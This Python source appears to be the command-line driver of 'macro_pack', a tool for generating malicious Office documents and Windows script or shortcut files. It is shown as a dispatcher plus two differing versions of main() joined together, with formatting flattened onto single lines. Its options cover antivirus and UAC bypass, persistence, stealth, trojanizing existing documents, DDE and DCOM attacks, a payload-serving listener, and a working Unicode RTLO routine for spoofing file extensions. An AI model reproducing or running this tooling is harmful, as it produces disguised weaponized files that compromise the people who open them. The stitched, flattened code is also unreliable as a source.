def getPayloadBuilder(self, mpSession): """ Build and return a PayloadGenerator object """ # MS Office generation/trojan is only enabled on windows payloadBuilder = None if sys.platform == "win32" and mpSession.outputFileType in MSTypes.MS_OFFICE_FORMATS: payloadBuilder = self._handleOfficeFormats(mpSession) if mpSession.outputFileType == MSTypes.VBS: payloadBuilder = VBSGenerator(mpSession) if mpSession.outputFileType == MSTypes.HTA: payloadBuilder = HTAGenerator(mpSession) if mpSession.outputFileType == MSTypes.SCT: payloadBuilder = SCTGenerator(mpSession) if mpSession.outputFileType == MSTypes.WSF: payloadBuilder = WSFGenerator(mpSession) if mpSession.outputFileType == MSTypes.XSL: payloadBuilder = XSLGenerator(mpSession) if mpSession.outputFileType == MSTypes.LNK: payloadBuilder = LNKGenerator(mpSession) if mpSession.outputFileType == MSTypes.VBA: payloadBuilder = VBAGenerator(mpSession) if mpSession.outputFileType == MSTypes.SCF: payloadBuilder = SCFGenerator(mpSession) if mpSession.outputFileType == MSTypes.URL: payloadBuilder = UrlShortcutGenerator(mpSession) if mpSession.outputFileType == MSTypes.GLK: payloadBuilder = GlkGenerator(mpSession) if mpSession.outputFileType == MSTypes.SETTINGS_MS: payloadBuilder = SettingsShortcutGenerator(mpSession) if mpSession.outputFileType == MSTypes.LIBRARY_MS: payloadBuilder = LibraryShortcutGenerator(mpSession) if mpSession.outputFileType == MSTypes.INF: payloadBuilder = InfGenerator(mpSession) if mpSession.outputFileType == MSTypes.CSPROJ: payloadBuilder = CsProjGenerator(mpSession) if mpSession.outputFileType == MSTypes.IQY: payloadBuilder = IqyGenerator(mpSession) return payloadBuilder
def main(argv): logLevel = "INFO" # initialize macro_pack session object working_directory = os.path.join(os.getcwd(), WORKING_DIR) mpSession = mp_session.MpSession(working_directory, VERSION, MP_TYPE) try: longOptions = [ "embed=", "listen=", "port=", "webdav-listen=", "generate=", "quiet", "input-file=", "encode", "obfuscate", "obfuscate-form", "obfuscate-names", "obfuscate-strings", "file=", "template=", "start-function=", "uac-bypass", "unicode-rtlo=", "dde", "print" ] shortOptions = "e:l:w:s:f:t:G:hqmop" # only for Pro release if MP_TYPE == "Pro": longOptions.extend([ "vbom-encode", "persist", "keep-alive", "av-bypass", "trojan=", "stealth", "dcom=", "background", "decoy=" ]) shortOptions += "T:b" # Only enabled on windows if sys.platform == "win32": longOptions.extend(["run="]) opts, args = getopt.getopt(argv, shortOptions, longOptions) # @UnusedVariable except getopt.GetoptError: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(2) for opt, arg in opts: if opt in ("-o", "--obfuscate"): mpSession.obfuscateForm = True mpSession.obfuscateNames = True mpSession.obfuscateStrings = True elif opt == "--obfuscate-form": mpSession.obfuscateForm = True elif opt == "--obfuscate-names": mpSession.obfuscateNames = True elif opt == "--obfuscate-strings": mpSession.obfuscateStrings = True elif opt == "-s" or opt == "--start-function": mpSession.startFunction = arg elif opt == "-l" or opt == "--listen": mpSession.listen = True mpSession.listenRoot = os.path.abspath(arg) elif opt == "--port": mpSession.listenPort = int(arg) mpSession.WlistenPort = int(arg) elif opt == "-w" or opt == "--webdav-listen": mpSession.Wlisten = True mpSession.WRoot = os.path.abspath(arg) elif opt == "-f" or opt == "--input-file": mpSession.vbaInput = arg elif opt == "-e" or opt == "--embed": mpSession.embeddedFilePath = os.path.abspath(arg) elif opt == "-t" or opt == "--template": if arg is None or arg.startswith( "-") or arg == "help" or arg == "HELP": help.printTemplatesUsage(BANNER, sys.argv[0]) sys.exit(0) else: mpSession.template = arg elif opt == "-q" or opt == "--quiet": logLevel = "ERROR" elif opt == "-p" or opt == "--print": mpSession.printFile = True elif opt == "--dde": if sys.platform == "win32": mpSession.ddeMode = True elif opt == "--run": if sys.platform == "win32": mpSession.runTarget = os.path.abspath(arg) elif opt == "--uac-bypass": mpSession.uacBypass = True elif opt == "--unicode-rtlo": mpSession.unicodeRtlo = arg elif opt in ("-G", "--generate"): mpSession.outputFilePath = os.path.abspath(arg) elif opt == "-h" or opt == "--help": help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: if MP_TYPE == "Pro": if opt == "--vbom-encode": mpSession.vbomEncode = True elif opt == "--persist": mpSession.persist = True elif opt == "--keep-alive": mpSession.keepAlive = True elif opt == "--av-bypass": mpSession.avBypass = True elif opt == "-T" or opt == "--trojan": # Document generation enabled only on windows if sys.platform == "win32": mpSession.outputFilePath = os.path.abspath(arg) mpSession.trojan = True elif opt == "-b" or opt == "--background": mpSession.background = True elif opt == "--stealth": mpSession.stealth = True elif opt == "--dcom": mpSession.dcom = True mpSession.dcomTarget = arg elif opt == "--decoy": mpSession.decoyFilePath = os.path.abspath(arg) else: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: #print("opt:%s, arg:%s",(opt,arg)) help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) if logLevel == "INFO": os.system('cls' if os.name == 'nt' else 'clear') # Logging logging.basicConfig(level=getattr(logging, logLevel), format="%(message)s", handlers=[utils.ColorLogFiler()]) logging.info(colored(BANNER, 'green')) logging.info(" [+] Preparations...") # Check output file format if mpSession.outputFilePath: logging.info(" [-] Target output format: %s" % mpSession.outputFileType) elif mpSession.listen == False and mpSession.Wlisten == False and mpSession.runTarget is None and mpSession.dcomTarget is None: logging.error(" [!] You need to provide an output file! (-G option)") sys.exit(2) # Edit outputfile name to spoof extension if unicodeRtlo option is enabled if mpSession.unicodeRtlo: logging.info(" [-] Inject %s false extension with unicode RTLO" % mpSession.unicodeRtlo) # Separate document and extension (fileName, fileExtension) = os.path.splitext(mpSession.outputFilePath) # Append unicode RTLO to file name fileName += '\u202e' # Append extension to spoof in reverse order fileName += mpSession.unicodeRtlo[::-1] # Appent file extension fileName += fileExtension mpSession.outputFilePath = fileName logging.info(" [-] File name modified to: %s" % mpSession.outputFilePath) # check input args if mpSession.vbaInput is None: # Argument not supplied, try to get file content from stdin if os.isatty(0) == False: # check if something is being piped logging.info(" [-] Waiting for piped input feed...") mpSession.stdinContent = sys.stdin.readlines() # Close Stdin pipe so we can call input() later without triggering EOF #sys.stdin.close() sys.stdin = sys.__stdin__ else: if not os.path.isfile(mpSession.vbaInput): logging.error(" [!] ERROR: Could not find %s!" % mpSession.vbaInput) sys.exit(2) else: logging.info(" [-] Input file path: %s" % mpSession.vbaInput) if mpSession.trojan == False: # verify that output file does not already exist if os.path.isfile(mpSession.outputFilePath): logging.error(" [!] ERROR: Output file %s already exist!" % mpSession.outputFilePath) sys.exit(2) else: # In trojan mode, files are tojaned if they already exist and created if they dont. # This concerns only non Office documents for now if mpSession.outputFileType not in MSTypes.MS_OFFICE_FORMATS: if os.path.isfile(mpSession.outputFilePath): logging.error( " [!] ERROR: Trojan mode not supported for %s format. \nOutput file %s already exist!" % (mpSession.outputFileType, mpSession.outputFilePath)) sys.exit(2) #Create temporary folder logging.info(" [-] Temporary working dir: %s" % working_directory) if not os.path.exists(working_directory): os.makedirs(working_directory) try: # Create temporary work file. if mpSession.ddeMode or mpSession.template or ( mpSession.outputFileType not in MSTypes.VB_FORMATS): inputFile = os.path.join(working_directory, "command.cmd") else: inputFile = os.path.join(working_directory, utils.randomAlpha(9)) + ".vba" if mpSession.stdinContent is not None: logging.info(" [-] Store std input in file...") f = open(inputFile, 'w') f.writelines(mpSession.stdinContent) f.close() else: # Create temporary work file if mpSession.vbaInput is not None: logging.info(" [-] Store input file...") shutil.copy2(mpSession.vbaInput, inputFile) if os.path.isfile(inputFile): logging.info(" [-] Temporary input file: %s" % inputFile) # Generate template if mpSession.template: if MP_TYPE == "Pro": generator = TemplateGeneratorPro(mpSession) generator.run() else: generator = TemplateToVba(mpSession) generator.run() # MS Office generation/trojan is only enabled on windows if sys.platform == "win32" and mpSession.outputFileType in MSTypes.MS_OFFICE_FORMATS: handleOfficeFormats(mpSession) # Generate Scripts if MP_TYPE == "Pro": if mpSession.outputFileType == MSTypes.VBS: generator = VBSGeneratorPro(mpSession) generator.run() if mpSession.outputFileType == MSTypes.HTA: generator = HTAGeneratorPro(mpSession) generator.run() if mpSession.outputFileType == MSTypes.SCT: generator = SCTGeneratorPro(mpSession) generator.run() if mpSession.outputFileType == MSTypes.WSF: generator = WSFGeneratorPro(mpSession) generator.run() if mpSession.outputFileType == MSTypes.XSL: generator = XSLGeneratorPro(mpSession) generator.run() else: if mpSession.outputFileType == MSTypes.VBS: generator = VBSGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.HTA: generator = HTAGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.SCT: generator = SCTGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.WSF: generator = WSFGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.XSL: generator = XSLGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.VBA: generator = VBAGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.SCF: generator = SCFGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.URL: generator = UrlShortcutGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.GLK: generator = GlkGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.LNK: generator = LNKGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.SETTINGS_MS: generator = SettingsShortcutGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.LIBRARY_MS: generator = LibraryShortcutGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.INF: generator = InfGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.IQY: generator = IqyGenerator(mpSession) generator.run() #run com attack if mpSession.runTarget: generator = ComGenerator(mpSession) generator.run() #run dcom attack if mpSession.dcom: generator = DcomGenerator(mpSession) generator.run() # Activate Web server if mpSession.listen: listener = ListenServer(mpSession) listener.run() if mpSession.Wlisten: Wlistener = WListenServer(mpSession) Wlistener.run() except Exception: logging.exception(" [!] Exception caught!") logging.info(" [+] Cleaning...") shutil.rmtree(working_directory) logging.info(" Done!\n") sys.exit(0)
def main(argv): logLevel = "INFO" # initialize macro_pack session object mpSession = mp_session.MpSession(WORKING_DIR, VERSION, MP_TYPE) try: longOptions = [ "embed=", "listen=", "generate=", "quiet", "input-file=", "encode", "obfuscate", "obfuscate-form", "obfuscate-names", "obfuscate-strings", "file=", "template=", "start-function=", "dde" ] shortOptions = "e:l:s:f:t:G:hqmo" # only for Pro release if MP_TYPE == "Pro": longOptions.extend([ "vbom-encode", "persist", "keep-alive", "av-bypass", "trojan=", "stealth", "dcom=", "background" ]) shortOptions += "T:b" # Only enabled on windows if sys.platform == "win32": longOptions.extend(["run="]) opts, args = getopt.getopt(argv, shortOptions, longOptions) # @UnusedVariable except getopt.GetoptError: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(2) for opt, arg in opts: if opt in ("-o", "--obfuscate"): mpSession.obfuscateForm = True mpSession.obfuscateNames = True mpSession.obfuscateStrings = True elif opt == "--obfuscate-form": mpSession.obfuscateForm = True elif opt == "--obfuscate-names": mpSession.obfuscateNames = True elif opt == "--obfuscate-strings": mpSession.obfuscateStrings = True elif opt == "-s" or opt == "--start-function": mpSession.startFunction = arg elif opt == "-l" or opt == "--listen": mpSession.listen = True mpSession.listenPort = int(arg) elif opt == "-f" or opt == "--input-file": mpSession.vbaInput = arg elif opt == "-e" or opt == "--embed": mpSession.embeddedFilePath = os.path.abspath(arg) elif opt == "-t" or opt == "--template": if arg is None or arg.startswith( "-") or arg == "help" or arg == "HELP": help.printTemplatesUsage(BANNER, sys.argv[0]) sys.exit(0) else: mpSession.template = arg elif opt == "-q" or opt == "--quiet": logLevel = "ERROR" elif opt == "--dde": if sys.platform == "win32": mpSession.ddeMode = True elif opt == "--run": if sys.platform == "win32": mpSession.runTarget = os.path.abspath(arg) elif opt in ("-G", "--generate"): mpSession.outputFilePath = os.path.abspath(arg) elif opt == "-h" or opt == "--help": help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: if MP_TYPE == "Pro": if opt == "--vbom-encode": mpSession.vbomEncode = True elif opt == "--persist": mpSession.persist = True elif opt == "--keep-alive": mpSession.keepAlive = True elif opt == "--av-bypass": mpSession.avBypass = True elif opt == "-T" or opt == "--trojan": # Document generation enabled only on windows if sys.platform == "win32": mpSession.outputFilePath = os.path.abspath(arg) mpSession.trojan = True elif opt == "-b" or opt == "--background": mpSession.background = True elif opt == "--stealth": mpSession.stealth = True elif opt == "--dcom": mpSession.dcom = True mpSession.dcomTarget = arg else: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) os.system('cls' if os.name == 'nt' else 'clear') # Logging logging.basicConfig(level=getattr(logging, logLevel), format="%(message)s", handlers=[utils.ColorLogFiler()]) logging.info(colored(BANNER, 'green')) logging.info(" [+] Preparations...") # check input args if mpSession.vbaInput is None: # Argument not supplied, try to get file content from stdin if os.isatty(0) == False: # check if something is being piped logging.info(" [-] Waiting for piped input feed...") mpSession.stdinContent = sys.stdin.readlines() else: if not os.path.isfile(mpSession.vbaInput): logging.error(" [!] ERROR: Could not find %s!" % mpSession.vbaInput) sys.exit(2) else: logging.info(" [-] Input file path: %s" % mpSession.vbaInput) if mpSession.trojan == False: # verify that output file does not already exist if mpSession.outputFilePath is not None: if os.path.isfile(mpSession.outputFilePath): logging.error(" [!] ERROR: Output file %s already exist!" % mpSession.outputFilePath) sys.exit(2) else: # In trojan mod, file are tojane if they already exist and created if they dont. # except for vba output which is not concerned by trojan feature if mpSession.outputFilePath is not None and mpSession.outputFileType == MSTypes.VBA: if mpSession.outputFilePath is not None: if os.path.isfile(mpSession.outputFilePath): logging.error( " [!] ERROR: Output file %s already exist!" % mpSession.outputFilePath) sys.exit(2) #Create temporary folder logging.info(" [-] Temporary working dir: %s" % WORKING_DIR) if not os.path.exists(WORKING_DIR): os.makedirs(WORKING_DIR) try: # Create temporary work file. if mpSession.ddeMode or mpSession.template: inputFile = os.path.join(WORKING_DIR, "command.cmd") else: inputFile = os.path.join(WORKING_DIR, utils.randomAlpha(9)) + ".vba" if mpSession.stdinContent is not None: logging.info(" [-] Store std input in file...") f = open(inputFile, 'w') f.writelines(mpSession.stdinContent) f.close() else: # Create temporary work file if mpSession.vbaInput is not None: logging.info(" [-] Store input file...") shutil.copy2(mpSession.vbaInput, inputFile) if os.path.isfile(inputFile): logging.info(" [-] Temporary input file: %s" % inputFile) # Check output file format if mpSession.outputFilePath: logging.info(" [-] Target output format: %s" % mpSession.outputFileType) # Generate template if mpSession.template: if MP_TYPE == "Pro": generator = TemplateGeneratorPro(mpSession) generator.run() else: generator = TemplateToVba(mpSession) generator.run() # MS Office generation/trojan is only enabled on windows if sys.platform == "win32": if mpSession.stealth == True: # Add a new empty module to keep VBA library if we hide other modules # See http://seclists.org/fulldisclosure/2017/Mar/90 genericModule = mp_module.MpModule(mpSession) genericModule.addVBAModule("") if mpSession.trojan == False: if MSTypes.XL in mpSession.outputFileType: generator = ExcelGenerator(mpSession) generator.run() elif MSTypes.WD in mpSession.outputFileType: generator = WordGenerator(mpSession) generator.run() elif MSTypes.PPT in mpSession.outputFileType: generator = PowerPointGenerator(mpSession) generator.run() elif MSTypes.MPP == mpSession.outputFileType: generator = MSProjectGenerator(mpSession) generator.run() elif MSTypes.VSD in mpSession.outputFileType: generator = VisioGenerator(mpSession) generator.run() elif MSTypes.PUB == mpSession.outputFileType and MP_TYPE == "Pro": generator = PublisherGenerator(mpSession) generator.run() else: if MSTypes.XL in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = ExcelTrojan(mpSession) generator.run() else: generator = ExcelGenerator(mpSession) generator.run() if MSTypes.WD in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = WordTrojan(mpSession) generator.run() else: generator = WordGenerator(mpSession) generator.run() if MSTypes.PPT in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = PptTrojan(mpSession) generator.run() else: generator = PowerPointGenerator(mpSession) generator.run() if MSTypes.VSD in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = VisioTrojan(mpSession) generator.run() else: generator = VisioGenerator(mpSession) generator.run() if MSTypes.MPP in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = MsProjectTrojan(mpSession) generator.run() else: generator = MSProjectGenerator(mpSession) generator.run() if mpSession.stealth == True: obfuscator = Stealth(mpSession) obfuscator.run() if mpSession.ddeMode: # DDE Attack mode if MSTypes.WD in mpSession.outputFileType: generator = WordDDE(mpSession) generator.run() else: logging.warn( " [!] Word and Word97 are only format supported for DDE attacks." ) if mpSession.runTarget: #run com attack generator = ComGenerator(mpSession) generator.run() if mpSession.dcom: #run dcom attack generator = DcomGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.VBS: generator = VBSGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.HTA: generator = HTAGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.SCT: generator = SCTGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.WSF: generator = WSFGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.VBA or mpSession.outputFilePath == None: generator = VBAGenerator(mpSession) generator.run() if mpSession.listen: listener = ListenServer(mpSession) listener.run() except Exception: logging.exception(" [!] Exception caught!") logging.error( " [!] Hints: Check if MS office is really closed and Antivirus did not catch the files" ) if sys.platform == "win32": logging.error( " [!] Attempt to force close MS Office applications...") objExcel = win32com.client.Dispatch("Excel.Application") objExcel.Application.Quit() del objExcel objWord = win32com.client.Dispatch("Word.Application") objWord.Application.Quit() del objWord ppt = win32com.client.Dispatch("PowerPoint.Application") ppt.Quit() del ppt logging.info(" [+] Cleaning...") shutil.rmtree(WORKING_DIR) logging.info(" Done!\n") sys.exit(0)